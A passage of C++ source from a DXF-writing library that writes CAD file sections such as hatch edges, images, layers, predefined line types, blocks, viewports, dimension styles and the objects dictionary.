0); dw.dxfInt(78, 1); dw.dxfReal(53, 45.0); dw.dxfReal(43, 0.0); dw.dxfReal(44, 0.0); dw.dxfReal(45, -0.0883883476483184); dw.dxfReal(46, 0.0883883476483185); dw.dxfInt(79, 0); } dw.dxfInt(98, 0); } /** * Writes the beginning of a hatch loop to the file. This * must happen after writing the beginning of a hatch entity. * * @param dw DXF writer * @param data Entity data. * @param attrib Attributes */ void DL_Dxf::writeHatchLoop1(DL_WriterA& dw, const DL_HatchLoopData& data) { dw.dxfInt(92, 1); dw.dxfInt(93, data.numEdges); //dw.dxfInt(97, 0); } /** * Writes the end of a hatch loop to the file. * * @param dw DXF writer * @param data Entity data. * @param attrib Attributes */ void DL_Dxf::writeHatchLoop2(DL_WriterA& dw, const DL_HatchLoopData& /*data*/) { dw.dxfInt(97, 0); } /** * Writes the beginning of a hatch entity to the file. * * @param dw DXF writer * @param data Entity data. * @param attrib Attributes */ void DL_Dxf::writeHatchEdge(DL_WriterA& dw, const DL_HatchEdgeData& data) { dw.dxfInt(72, data.type); switch (data.type) { case 1: dw.dxfReal(10, data.x1); dw.dxfReal(20, data.y1); dw.dxfReal(11, data.x2); dw.dxfReal(21, data.y2); break; case 2: dw.dxfReal(10, data.cx); dw.dxfReal(20, data.cy); dw.dxfReal(40, data.radius); dw.dxfReal(50, data.angle1/(2*M_PI)*360.0); dw.dxfReal(51, data.angle2/(2*M_PI)*360.0); dw.dxfInt(73, (int)(data.ccw)); break; default: break; } } /** * Writes an image entity. * * @return IMAGEDEF handle. Needed for the IMAGEDEF counterpart. */ int DL_Dxf::writeImage(DL_WriterA& dw, const DL_ImageData& data, const DL_Attributes& attrib) { /*if (data.file.empty()) { std::cerr << "DL_Dxf::writeImage: " << "Image file must not be empty\n"; return; }*/ dw.entity("IMAGE"); dw.entityAttributes(attrib); if (version==VER_2000) { dw.dxfString(100, "AcDbEntity"); dw.dxfString(100, "AcDbRasterImage"); dw.dxfInt(90, 0); } // insertion point dw.dxfReal(10, data.ipx); dw.dxfReal(20, data.ipy); dw.dxfReal(30, 0.0); // vector along bottom side (1 pixel long) dw.dxfReal(11, data.ux); dw.dxfReal(21, data.uy); dw.dxfReal(31, 0.0); // vector along left side (1 pixel long) dw.dxfReal(12, data.vx); dw.dxfReal(22, data.vy); dw.dxfReal(32, 0.0); // image size in pixel dw.dxfReal(13, data.width); dw.dxfReal(23, data.height); // handle of IMAGEDEF object int handle = dw.incHandle(); dw.dxfHex(340, handle); // flags dw.dxfInt(70, 15); // clipping: dw.dxfInt(280, 0); // brightness, contrast, fade dw.dxfInt(281, data.brightness); dw.dxfInt(282, data.contrast); dw.dxfInt(283, data.fade); return handle; } /** * Writes an image definiition entity. */ void DL_Dxf::writeImageDef(DL_WriterA& dw, int handle, const DL_ImageData& data) { /*if (data.file.empty()) { std::cerr << "DL_Dxf::writeImage: " << "Image file must not be empty\n"; return; }*/ dw.dxfString(0, "IMAGEDEF"); if (version==VER_2000) { dw.dxfHex(5, handle); } if (version==VER_2000) { dw.dxfString(100, "AcDbRasterImageDef"); dw.dxfInt(90, 0); } // file name: dw.dxfString(1, data.ref); // image size in pixel dw.dxfReal(10, data.width); dw.dxfReal(20, data.height); dw.dxfReal(11, 1.0); dw.dxfReal(21, 1.0); // loaded: dw.dxfInt(280, 1); // units: dw.dxfInt(281, 0); } /** * Writes a layer to the file. Layers are stored in the * tables section of a DXF file. * * @param dw DXF writer * @param data Entity data from the file * @param attrib Attributes */ void DL_Dxf::writeLayer(DL_WriterA& dw, const DL_LayerData& data, const DL_Attributes& attrib) { if (data.name.empty()) { std::cerr << "DL_Dxf::writeLayer: " << "Layer name must not be empty\n"; return; } int color = attrib.getColor(); if (color==0) { std::cerr << "Layer color cannot be 0. Corrected to 7.\n"; color = 7; } if (data.name == "0") { dw.tableLayerEntry(0x10); } else { dw.tableLayerEntry(); } dw.dxfString(2, data.name); dw.dxfInt(70, data.flags); dw.dxfInt(62, color); dw.dxfString(6, (attrib.getLineType().length()==0 ? string("CONTINUOUS") : attrib.getLineType())); if (version>=VER_2000) { // layer defpoints cannot be plotted std::string lstr = data.name; std::transform(lstr.begin(), lstr.end(), lstr.begin(), tolower); if (lstr=="defpoints") { dw.dxfInt(290, 0); } } if (version>=VER_2000 && attrib.getWidth()!=-1) { dw.dxfInt(370, attrib.getWidth()); } if (version>=VER_2000) { dw.dxfHex(390, 0xF); } } /** * Writes a line type to the file. Line types are stored in the * tables section of a DXF file. */ void DL_Dxf::writeLineType(DL_WriterA& dw, const DL_LineTypeData& data) { //const char* description, //int elements, //double patternLength) { if (data.name.empty()) { std::cerr << "DL_Dxf::writeLineType: " << "Line type name must not be empty\n"; return; } // ignore BYLAYER, BYBLOCK for R12 if (version<VER_2000) { if (!strcasecmp(data.name.c_str(), "BYBLOCK") || !strcasecmp(data.name.c_str(), "BYLAYER")) { return; } } // write id (not for R12) if (!strcasecmp(data.name.c_str(), "BYBLOCK")) { dw.tableLineTypeEntry(0x14); } else if (!strcasecmp(data.name.c_str(), "BYLAYER")) { dw.tableLineTypeEntry(0x15); } else if (!strcasecmp(data.name.c_str(), "CONTINUOUS")) { dw.tableLineTypeEntry(0x16); } else { dw.tableLineTypeEntry(); } dw.dxfString(2, data.name); //if (version>=VER_2000) { dw.dxfInt(70, data.flags); //} if (!strcasecmp(data.name.c_str(), "BYBLOCK")) { dw.dxfString(3, ""); dw.dxfInt(72, 65); dw.dxfInt(73, 0); dw.dxfReal(40, 0.0); } else if (!strcasecmp(data.name.c_str(), "BYLAYER")) { dw.dxfString(3, ""); dw.dxfInt(72, 65); dw.dxfInt(73, 0); dw.dxfReal(40, 0.0); } else if (!strcasecmp(data.name.c_str(), "CONTINUOUS")) { dw.dxfString(3, "Solid line"); dw.dxfInt(72, 65); dw.dxfInt(73, 0); dw.dxfReal(40, 0.0); } else if (!strcasecmp(data.name.c_str(), "ACAD_ISO02W100")) { dw.dxfString(3, "ISO Dashed __ __ __ __ __ __ __ __ __ __ _"); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 15.0); dw.dxfReal(49, 12.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.0); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "ACAD_ISO03W100")) { dw.dxfString(3, "ISO Dashed with Distance __ __ __ _"); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 30.0); dw.dxfReal(49, 12.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -18.0); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "ACAD_ISO04W100")) { dw.dxfString(3, "ISO Long Dashed Dotted ____ . ____ . __"); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 30.0); dw.dxfReal(49, 24.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.0); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "ACAD_ISO05W100")) { dw.dxfString(3, "ISO Long Dashed Double Dotted ____ .. __"); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 33.0); dw.dxfReal(49, 24.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.0); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "BORDER")) { dw.dxfString(3, "Border __ __ . __ __ . __ __ . __ __ . __ __ ."); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 44.45); dw.dxfReal(49, 12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "BORDER2")) { dw.dxfString(3, "Border (.5x) __.__.__.__.__.__.__.__.__.__.__."); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 22.225); dw.dxfReal(49, 6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "BORDERX2")) { dw.dxfString(3, "Border (2x) ____ ____ . ____ ____ . ___"); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 88.9); dw.dxfReal(49, 25.4); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 25.4); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "CENTER")) { dw.dxfString(3, "Center ____ _ ____ _ ____ _ ____ _ ____ _ ____"); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 50.8); dw.dxfReal(49, 31.75); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "CENTER2")) { dw.dxfString(3, "Center (.5x) ___ _ ___ _ ___ _ ___ _ ___ _ ___"); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 28.575); dw.dxfReal(49, 19.05); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "CENTERX2")) { dw.dxfString(3, "Center (2x) ________ __ ________ __ _____"); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 101.6); dw.dxfReal(49, 63.5); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DASHDOT")) { dw.dxfString(3, "Dash dot __ . __ . __ . __ . __ . __ . __ . __"); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 25.4); dw.dxfReal(49, 12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DASHDOT2")) { dw.dxfString(3, "Dash dot (.5x) _._._._._._._._._._._._._._._."); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 12.7); dw.dxfReal(49, 6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DASHDOTX2")) { dw.dxfString(3, "Dash dot (2x) ____ . ____ . ____ . ___"); dw.dxfInt(72, 65); dw.dxfInt(73, 4); dw.dxfReal(40, 50.8); dw.dxfReal(49, 25.4); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DASHED")) { dw.dxfString(3, "Dashed __ __ __ __ __ __ __ __ __ __ __ __ __ _"); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 19.05); dw.dxfReal(49, 12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DASHED2")) { dw.dxfString(3, "Dashed (.5x) _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _"); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 9.525); dw.dxfReal(49, 6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DASHEDX2")) { dw.dxfString(3, "Dashed (2x) ____ ____ ____ ____ ____ ___"); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 38.1); dw.dxfReal(49, 25.4); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DIVIDE")) { dw.dxfString(3, "Divide ____ . . ____ . . ____ . . ____ . . ____"); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 31.75); dw.dxfReal(49, 12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DIVIDE2")) { dw.dxfString(3, "Divide (.5x) __..__..__..__..__..__..__..__.._"); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 15.875); dw.dxfReal(49, 6.35); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DIVIDEX2")) { dw.dxfString(3, "Divide (2x) ________ . . ________ . . _"); dw.dxfInt(72, 65); dw.dxfInt(73, 6); dw.dxfReal(40, 63.5); dw.dxfReal(49, 25.4); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DOT")) { dw.dxfString(3, "Dot . . . . . . . . . . . . . . . . . . . . . ."); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 6.35); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -6.35); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DOT2")) { dw.dxfString(3, "Dot (.5x) ....................................."); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 3.175); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -3.175); if (version>=VER_R13) dw.dxfInt(74, 0); } else if (!strcasecmp(data.name.c_str(), "DOTX2")) { dw.dxfString(3, "Dot (2x) . . . . . . . . . . . . ."); dw.dxfInt(72, 65); dw.dxfInt(73, 2); dw.dxfReal(40, 12.7); dw.dxfReal(49, 0.0); if (version>=VER_R13) dw.dxfInt(74, 0); dw.dxfReal(49, -12.7); if (version>=VER_R13) dw.dxfInt(74, 0); } else { std::cerr << "dxflib warning: DL_Dxf::writeLineType: Unknown Line Type\n"; } } /** * Writes the APPID section to the DXF file. * * @param name Application name */ void DL_Dxf::writeAppid(DL_WriterA& dw, const string& name) { if (name.empty()) { std::cerr << "DL_Dxf::writeAppid: " << "Application name must not be empty\n"; return; } if (!strcasecmp(name.c_str(), "ACAD")) { dw.tableAppidEntry(0x12); } else { dw.tableAppidEntry(); } dw.dxfString(2, name); dw.dxfInt(70, 0); } /** * Writes a block's definition (no entities) to the DXF file. */ void DL_Dxf::writeBlock(DL_WriterA& dw, const DL_BlockData& data) { if (data.name.empty()) { std::cerr << "DL_Dxf::writeBlock: " << "Block name must not be empty\n"; return; } //bool paperSpace = !strcasecmp(name, "*paper_space"); //!strcasecmp(name, "*paper_space0"); if (!strcasecmp(data.name.c_str(), "*paper_space")) { dw.sectionBlockEntry(0x1C); } else if (!strcasecmp(data.name.c_str(), "*model_space")) { dw.sectionBlockEntry(0x20); } else if (!strcasecmp(data.name.c_str(), "*paper_space0")) { dw.sectionBlockEntry(0x24); } else { dw.sectionBlockEntry(); } dw.dxfString(2, data.name); dw.dxfInt(70, 0); dw.coord(10, data.bpx, data.bpy); dw.dxfString(3, data.name); dw.dxfString(1, ""); } /** * Writes a block end. * * @param name Block name */ void DL_Dxf::writeEndBlock(DL_WriterA& dw, const string& name) { if (!strcasecmp(name.c_str(), "*paper_space")) { dw.sectionBlockEntryEnd(0x1D); } else if (!strcasecmp(name.c_str(), "*model_space")) { dw.sectionBlockEntryEnd(0x21); } else if (!strcasecmp(name.c_str(), "*paper_space0")) { dw.sectionBlockEntryEnd(0x25); } else { dw.sectionBlockEntryEnd(); } } /** * Writes a viewport section. This section is needed in VER_R13. * Note that this method currently only writes a faked VPORT section * to make the file readable by Aut*cad. */ void DL_Dxf::writeVPort(DL_WriterA& dw) { dw.dxfString(0, "TABLE"); dw.dxfString(2, "VPORT"); if (version==VER_2000) { dw.dxfHex(5, 0x8); } //dw.dxfHex(330, 0); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTable"); } dw.dxfInt(70, 1); dw.dxfString(0, "VPORT"); //dw.dxfHex(5, 0x2F); if (version==VER_2000) { dw.handle(); } //dw.dxfHex(330, 8); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTableRecord"); dw.dxfString(100, "AcDbViewportTableRecord"); } dw.dxfString( 2, "*Active"); dw.dxfInt( 70, 0); dw.dxfReal( 10, 0.0); dw.dxfReal( 20, 0.0); dw.dxfReal( 11, 1.0); dw.dxfReal( 21, 1.0); dw.dxfReal( 12, 286.3055555555555); dw.dxfReal( 22, 148.5); dw.dxfReal( 13, 0.0); dw.dxfReal( 23, 0.0); dw.dxfReal( 14, 10.0); dw.dxfReal( 24, 10.0); dw.dxfReal( 15, 10.0); dw.dxfReal( 25, 10.0); dw.dxfReal( 16, 0.0); dw.dxfReal( 26, 0.0); dw.dxfReal( 36, 1.0); dw.dxfReal( 17, 0.0); dw.dxfReal( 27, 0.0); dw.dxfReal( 37, 0.0); dw.dxfReal( 40, 297.0); dw.dxfReal( 41, 1.92798353909465); dw.dxfReal( 42, 50.0); dw.dxfReal( 43, 0.0); dw.dxfReal( 44, 0.0); dw.dxfReal( 50, 0.0); dw.dxfReal( 51, 0.0); dw.dxfInt( 71, 0); dw.dxfInt( 72, 100); dw.dxfInt( 73, 1); dw.dxfInt( 74, 3); dw.dxfInt( 75, 1); dw.dxfInt( 76, 1); dw.dxfInt( 77, 0); dw.dxfInt( 78, 0); if (version==VER_2000) { dw.dxfInt(281, 0); dw.dxfInt( 65, 1); dw.dxfReal(110, 0.0); dw.dxfReal(120, 0.0); dw.dxfReal(130, 0.0); dw.dxfReal(111, 1.0); dw.dxfReal(121, 0.0); dw.dxfReal(131, 0.0); dw.dxfReal(112, 0.0); dw.dxfReal(122, 1.0); dw.dxfReal(132, 0.0); dw.dxfInt( 79, 0); dw.dxfReal(146, 0.0); } dw.dxfString( 0, "ENDTAB"); } /** * Writes a style section. This section is needed in VER_R13. * Note that this method currently only writes a faked STYLE section * to make the file readable by Aut*cad. */ void DL_Dxf::writeStyle(DL_WriterA& dw) { dw.dxfString( 0, "TABLE"); dw.dxfString( 2, "STYLE"); if (version==VER_2000) { dw.dxfHex(5, 3); } //dw.dxfHex(330, 0); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTable"); } dw.dxfInt( 70, 1); dw.dxfString( 0, "STYLE"); if (version==VER_2000) { dw.dxfHex(5, 0x11); } //styleHandleStd = dw.handle(); //dw.dxfHex(330, 3); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTableRecord"); dw.dxfString(100, "AcDbTextStyleTableRecord"); } dw.dxfString( 2, "Standard"); dw.dxfInt( 70, 0); dw.dxfReal( 40, 0.0); dw.dxfReal( 41, 1.0); dw.dxfReal( 50, 0.0); dw.dxfInt( 71, 0); dw.dxfReal( 42, 2.5); dw.dxfString( 3, "txt"); dw.dxfString( 4, ""); dw.dxfString( 0, "ENDTAB"); } /** * Writes a view section. This section is needed in VER_R13. * Note that this method currently only writes a faked VIEW section * to make the file readable by Aut*cad. */ void DL_Dxf::writeView(DL_WriterA& dw) { dw.dxfString( 0, "TABLE"); dw.dxfString( 2, "VIEW"); if (version==VER_2000) { dw.dxfHex(5, 6); } //dw.dxfHex(330, 0); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTable"); } dw.dxfInt( 70, 0); dw.dxfString( 0, "ENDTAB"); } /** * Writes a ucs section. This section is needed in VER_R13. * Note that this method currently only writes a faked UCS section * to make the file readable by Aut*cad. */ void DL_Dxf::writeUcs(DL_WriterA& dw) { dw.dxfString( 0, "TABLE"); dw.dxfString( 2, "UCS"); if (version==VER_2000) { dw.dxfHex(5, 7); } //dw.dxfHex(330, 0); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTable"); } dw.dxfInt( 70, 0); dw.dxfString( 0, "ENDTAB"); } /** * Writes a dimstyle section. This section is needed in VER_R13. * Note that this method currently only writes a faked DIMSTYLE section * to make the file readable by Aut*cad. */ void DL_Dxf::writeDimStyle(DL_WriterA& dw, double dimasz, double dimexe, double dimexo, double dimgap, double dimtxt) { dw.dxfString( 0, "TABLE"); dw.dxfString( 2, "DIMSTYLE"); if (version==VER_2000) { dw.dxfHex(5, 0xA); dw.dxfString(100, "AcDbSymbolTable"); } dw.dxfInt( 70, 1); if (version==VER_2000) { dw.dxfString(100, "AcDbDimStyleTable"); dw.dxfInt( 71, 0); } dw.dxfString( 0, "DIMSTYLE"); if (version==VER_2000) { dw.dxfHex(105, 0x27); } //dw.handle(105); //dw.dxfHex(330, 0xA); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTableRecord"); dw.dxfString(100, "AcDbDimStyleTableRecord"); } dw.dxfString( 2, "Standard"); if (version==VER_R12) { dw.dxfString( 3, ""); dw.dxfString( 4, ""); dw.dxfString( 5, ""); dw.dxfString( 6, ""); dw.dxfString( 7, ""); dw.dxfReal( 40, 1.0); } dw.dxfReal( 41, dimasz); dw.dxfReal( 42, dimexo); dw.dxfReal( 43, 3.75); dw.dxfReal( 44, dimexe); if (version==VER_R12) { dw.dxfReal( 45, 0.0); dw.dxfReal( 46, 0.0); dw.dxfReal( 47, 0.0); dw.dxfReal( 48, 0.0); } dw.dxfInt( 70, 0); if (version==VER_R12) { dw.dxfInt( 71, 0); dw.dxfInt( 72, 0); } dw.dxfInt( 73, 0); dw.dxfInt( 74, 0); if (version==VER_R12) { dw.dxfInt( 75, 0); dw.dxfInt( 76, 0); } dw.dxfInt( 77, 1); dw.dxfInt( 78, 8); dw.dxfReal(140, dimtxt); dw.dxfReal(141, 2.5); if (version==VER_R12) { dw.dxfReal(142, 0.0); } dw.dxfReal(143, 0.03937007874016); if (version==VER_R12) { dw.dxfReal(144, 1.0); dw.dxfReal(145, 0.0); dw.dxfReal(146, 1.0); } dw.dxfReal(147, dimgap); if (version==VER_R12) { dw.dxfInt(170, 0); } dw.dxfInt(171, 3); dw.dxfInt(172, 1); if (version==VER_R12) { dw.dxfInt(173, 0); dw.dxfInt(174, 0); dw.dxfInt(175, 0); dw.dxfInt(176, 0); dw.dxfInt(177, 0); dw.dxfInt(178, 0); } if (version==VER_2000) { dw.dxfInt(271, 2); dw.dxfInt(272, 2); dw.dxfInt(274, 3); dw.dxfInt(278, 44); dw.dxfInt(283, 0); dw.dxfInt(284, 8); //dw.dxfHex(340, styleHandleStd); dw.dxfHex(340, 0x11); } // * / dw.dxfString( 0, "ENDTAB"); } /** * Writes a blockrecord section. This section is needed in VER_R13. * Note that this method currently only writes a faked BLOCKRECORD section * to make the file readable by Aut*cad. */ void DL_Dxf::writeBlockRecord(DL_WriterA& dw) { dw.dxfString( 0, "TABLE"); dw.dxfString( 2, "BLOCK_RECORD"); if (version==VER_2000) { dw.dxfHex(5, 1); } //dw.dxfHex(330, 0); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTable"); } dw.dxfInt( 70, 1); dw.dxfString( 0, "BLOCK_RECORD"); if (version==VER_2000) { dw.dxfHex(5, 0x1F); } //int msh = dw.handle(); //dw.setModelSpaceHandle(msh); //dw.dxfHex(330, 1); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTableRecord"); dw.dxfString(100, "AcDbBlockTableRecord"); } dw.dxfString( 2, "*Model_Space"); dw.dxfHex(340, 0x22); dw.dxfString( 0, "BLOCK_RECORD"); if (version==VER_2000) { dw.dxfHex(5, 0x1B); } //int psh = dw.handle(); //dw.setPaperSpaceHandle(psh); //dw.dxfHex(330, 1); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTableRecord"); dw.dxfString(100, "AcDbBlockTableRecord"); } dw.dxfString( 2, "*Paper_Space"); dw.dxfHex(340, 0x1E); dw.dxfString( 0, "BLOCK_RECORD"); if (version==VER_2000) { dw.dxfHex(5, 0x23); } //int ps0h = dw.handle(); //dw.setPaperSpace0Handle(ps0h); //dw.dxfHex(330, 1); if (version==VER_2000) { dw.dxfString(100, "AcDbSymbolTableRecord"); dw.dxfString(100, "AcDbBlockTableRecord"); } dw.dxfString( 2, "*Paper_Space0"); dw.dxfHex(340, 0x26); //dw.dxfString( 0, "ENDTAB"); } /** * Writes a objects section. This section is needed in VER_R13. * Note that this method currently only writes a faked OBJECTS section * to make the file readable by Aut*cad. */ void DL_Dxf::writeObjects(DL_WriterA& dw) { //int dicId, dicId2, dicId3, dicId4, dicId5; //int dicId5; dw.dxfString( 0, "SECTION"); dw.dxfString( 2, "OBJECTS"); dw.dxfString( 0, "DICTIONARY"); dw.dxfHex(5, 0xC); // C //dw.dxfHex(330, 0); dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(280, 0); dw.dxfInt(281, 1); dw.dxfString( 3, "ACAD_GROUP"); //dw.dxfHex(350, dw.getNextHandle()); // D dw.dxfHex(350, 0xD); // D dw.dxfString( 3, "ACAD_LAYOUT"); dw.dxfHex(350, 0x1A); //dw.dxfHex(350, dw.getNextHandle()+0); // 1A dw.dxfString( 3, "ACAD_MLINESTYLE"); dw.dxfHex(350, 0x17); //dw.dxfHex(350, dw.getNextHandle()+1); // 17 dw.dxfString( 3, "ACAD_PLOTSETTINGS"); dw.dxfHex(350, 0x19); //dw.dxfHex(350, dw.getNextHandle()+2); // 19 dw.dxfString( 3, "ACAD_PLOTSTYLENAME"); dw.dxfHex(350, 0xE); //dw.dxfHex(350, dw.getNextHandle()+3); // E dw.dxfString( 3, "AcDbVariableDictionary"); dw.dxfHex(350, dw.getNextHandle()); // 2C dw.dxfString( 0, "DICTIONARY"); dw.dxfHex(5, 0xD); //dw.handle(); // D //dw.dxfHex(330, 0xC); dw.dxfString(100, "AcDbDictionary"); dw.dxfInt(280, 0); dw.dxfInt(281, 1); dw.dxfString( 0, "ACDBDICTIONARYWDFLT"); dw.dxfHex(5, 0xE); //dicId4 = dw.handle(); // E //dw.dxfHex(330, 0xC); // C 